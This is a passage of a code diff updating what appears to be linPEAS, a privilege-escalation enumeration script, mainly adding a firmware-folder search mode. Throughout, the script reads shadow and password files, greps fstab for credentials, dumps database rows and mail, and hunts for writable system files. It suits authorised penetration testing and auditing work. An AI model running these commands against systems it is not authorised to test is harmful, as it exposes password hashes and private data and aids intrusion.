sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +else + ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow) ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," @@ -3722,196 +4464,240 @@ echo "" #echo "" ##-- IF) .sh files in PATH -print_2title ".sh files in path" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path" -echo $PATH | tr ":" "\n" | while read d; do - for f in $(find "$d" -name "*.sh" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -O "$f" ]; then - echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) - echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else - echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; - fi - done -done -echo "" - - -broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) -if [ "$broken_links" ] || [ "$DEBUG" ]; then - print_2title "Broken links in path" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title ".sh files in path" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" echo $PATH | tr ":" "\n" | while read d; do - find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + for f in $(find "$d" -name "*.sh" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -O "$f" ]; then + echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; + fi + done done echo "" + + broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) + if [ "$broken_links" ] || [ "$DEBUG" ]; then + print_2title "Broken links in path" + echo $PATH | tr ":" "\n" | while read d; do + find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + done + echo "" + fi fi +##-- IF) Date times inside firmware +if [ "$SEARCH_IN_FOLDER" ]; then + print_2title "FIles datetimes inside the firmware (limit 50)" + find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 + echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" + echo "" +fi + +##-- IF) Executable files added by user +print_2title "Executable files potentially added by user (limit 70)" +if ! [ "$SEARCH_IN_FOLDER" ]; then + find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 +else + find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 +fi +echo "" + + if [ "$MACPEAS" ]; then print_2title "Unsigned Applications" macosNotSigned /System/Applications fi -##-- IF) Unexpected folders in / -print_2title "Unexpected in root" -if [ "$MACPEAS" ]; then - (find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found -else - (find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found +##-- IF) Unexpected in /opt +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$(ls /opt 2>/dev/null)" ]; then + print_2title "Unexpected in /opt (usually empty)" + ls -la /opt + echo "" + fi +fi + +##-- IF) Unexpected folders in / +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unexpected in root" + if [ "$MACPEAS" ]; then + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + else + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + fi + echo "" fi -echo "" ##-- IF) Files (scripts) in /etc/profile.d/ -print_2title "Files (scripts) in /etc/profile.d/" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files" -if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" - check_critial_root_path "/etc/profile" - check_critial_root_path "/etc/profile.d/" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + check_critial_root_path "/etc/profile" + check_critial_root_path "/etc/profile.d/" + fi + echo "" fi -echo "" ##-- IF) Files (scripts) in /etc/init.d/ + if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Permissions in init, init.d, systemd, and rc.d" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d" -if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - check_critial_root_path "/etc/init/" - check_critial_root_path "/etc/init.d/" - check_critial_root_path "/etc/rc.d/init.d" - check_critial_root_path "/usr/local/etc/rc.d" - check_critial_root_path "/etc/rc.d" - check_critial_root_path "/etc/systemd/" - check_critial_root_path "/lib/systemd/" -fi + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + check_critial_root_path "/etc/init/" + check_critial_root_path "/etc/init.d/" + check_critial_root_path "/etc/rc.d/init.d" + check_critial_root_path "/usr/local/etc/rc.d" + check_critial_root_path "/etc/rc.d" + check_critial_root_path "/etc/systemd/" + check_critial_root_path "/lib/systemd/" + fi -echo "" + echo "" +fi ##-- IF) Hashes in passwd file -print_list "Hashes inside passwd file? ........... " -if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_list "Hashes inside passwd file? ........... " + if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IF) Writable in passwd file + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IF) Credentials in fstab + print_list "Credentials in fstab/mtab? ........... " + if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IF) Read shadow files + print_list "Can I read shadow files? ............. " + if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "Can I read shadow plists? ............ " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + print_list "Can I write shadow plists? ........... " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + ##-- IF) Read opasswd file + print_list "Can I read opasswd file? ............. " + if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" + else echo_no + fi + + ##-- IF) network-scripts + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IF) Read root dir + print_list "Can I read root folder? .............. " + (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no + echo "" fi -##-- IF) Writable in passwd file -print_list "Writable passwd file? ................ " -if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," -else echo_no -fi - -##-- IF) Credentials in fstab -print_list "Credentials in fstab/mtab? ........... " -if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no -fi - -##-- IF) Read shadow files -print_list "Can I read shadow files? ............. " -if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," -else echo_no -fi - -print_list "Can I read shadow plists? ............ " -possible_check="" -(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - -print_list "Can I write shadow plists? ........... " -possible_check="" -(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - -##-- IF) Read opasswd file -print_list "Can I read opasswd file? ............. " -if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" -else echo_no -fi - -##-- IF) network-scripts -print_list "Can I write in network-scripts? ...... " -if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," -elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," -else echo_no -fi - -##-- IF) Read root dir -print_list "Can I read root folder? .............. " -(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no -echo "" - ##-- IF) Root files in home dirs -print_2title "Searching root files in home dirs (limit 30)" -(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found + echo "" +fi ##-- IF) Others files in my dirs if ! [ "$IAMROOT" ]; then print_2title "Searching folders owned by me containing others files on it (limit 100)" - (find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" + (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" echo "" fi ##-- IF) Readable files belonging to root and not world readable if ! [ "$IAMROOT" ]; then print_2title "Readable files belonging to root and readable by me but not world readable" - (find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found + (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found echo "" fi ##-- IF) Modified interesting files into specific folders in the last 5mins print_2title "Modified interesting files in the last 5mins (limit 100)" -find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," +find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," echo "" ##-- IF) Writable log files -print_2title "Writable log files (logrotten) (limit 100)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation" -logrotate --version 2>/dev/null || echo_not_found "logrotate" -lastWlogFolder="ImPOsSiBleeElastWlogFolder" -logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100) -printf "%s\n" "$logfind" | while read log; do - if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found - if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; - elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case - elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; - elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; +if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below +print_2title "Writable log files (logrotten) (limit 50)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" + logrotate --version 2>/dev/null || echo_not_found "logrotate" + lastWlogFolder="ImPOsSiBleeElastWlogFolder" + logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) + printf "%s\n" "$logfind" | while read log; do + if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found + if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; + elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case + elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; + elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; + fi fi + done +fi + +echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + ##-- IF) Files inside my home + print_2title "Files inside $HOME (limit 20)" + (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found + echo "" + + ##-- IF) Files inside /home + print_2title "Files inside others home (limit 20)" + (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found + echo "" + + ##-- IF) Mail applications + print_2title "Searching installed mail applications" + ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq + echo "" + + ##-- IF) Mails + print_2title "Mails (limit 50)" + (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" + + ##-- IF) Backup folders + if [ "$backup_folders" ] || [ "$DEBUG" ]; then + print_2title "Backup folders" + printf "%s\n" "$backup_folders" | while read b ; do + ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; + ls -l "$b" 2>/dev/null && echo "" + done + echo "" fi -done - -echo "" - -##-- IF) Files inside my home -print_2title "Files inside $HOME (limit 20)" -(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found -echo "" - -##-- IF) Files inside /home -print_2title "Files inside others home (limit 20)" -(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found -echo "" - -##-- IF) Mail applications -print_2title "Searching installed mail applications" -ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" -echo "" - -##-- IF) Mails -print_2title "Mails (limit 50)" -(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found -echo "" - -##-- IF) Backup folders -print_2title "Backup folders" -printf "%s\n" "$backup_folders" | while read b ; do - ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; - ls -l "$b" 2>/dev/null && echo "" -done -echo "" +fi ##-- IF) Backup files print_2title "Backup files (limited 100)" -backs=$(find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) +backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) printf "%s\n" "$backs" | head -n 100 | while read b ; do if [ -r "$b" ]; then ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; @@ -3927,14 +4713,16 @@ if [ "$MACPEAS" ]; then sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null fi -print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" -FILECMD="$(command -v file 2>/dev/null)" -if [ "$PSTORAGE_DATABASE" ]; then + + +if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then + print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" + FILECMD="$(command -v file 2>/dev/null)" printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if [ "$FILECMD" ]; then - echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; else - echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; + echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; fi done SQLITEPYTHON="" @@ -3968,8 +4756,8 @@ if [ "$PSTORAGE_DATABASE" ]; then printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head + echo "" fi - echo "" done fi fi @@ -3983,30 +4771,34 @@ if [ "$MACPEAS" ]; then fi ##-- IF) Web files -print_2title "Web files?(output limit)" -ls -alhR /var/www/ 2>/dev/null | head -ls -alhR /srv/www/htdocs/ 2>/dev/null | head -ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head -ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Web files?(output limit)" + ls -alhR /var/www/ 2>/dev/null | head + ls -alhR /srv/www/htdocs/ 2>/dev/null | head + ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head + ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head + echo "" +fi ##-- IF) All hidden files print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" -find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 +find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 echo "" ##-- IF) Readable files in /tmp, /var/tmp, bachups -print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" -filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70) -printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" + filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70) + printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done + echo "" +fi ##-- IF) Interesting writable files by ownership or all if ! [ "$IAMROOT" ]; then print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all - obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) printf "%s\n" "$obmowbe" | while read entry; do if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; elif echo "$entry" | grep -qE "$writeVB"; then @@ -4021,9 +4813,9 @@ fi ##-- IF) Interesting writable files by group if ! [ "$IAMROOT" ]; then print_2title "Interesting GROUP writable files (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" for g in $(groups); do - iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep 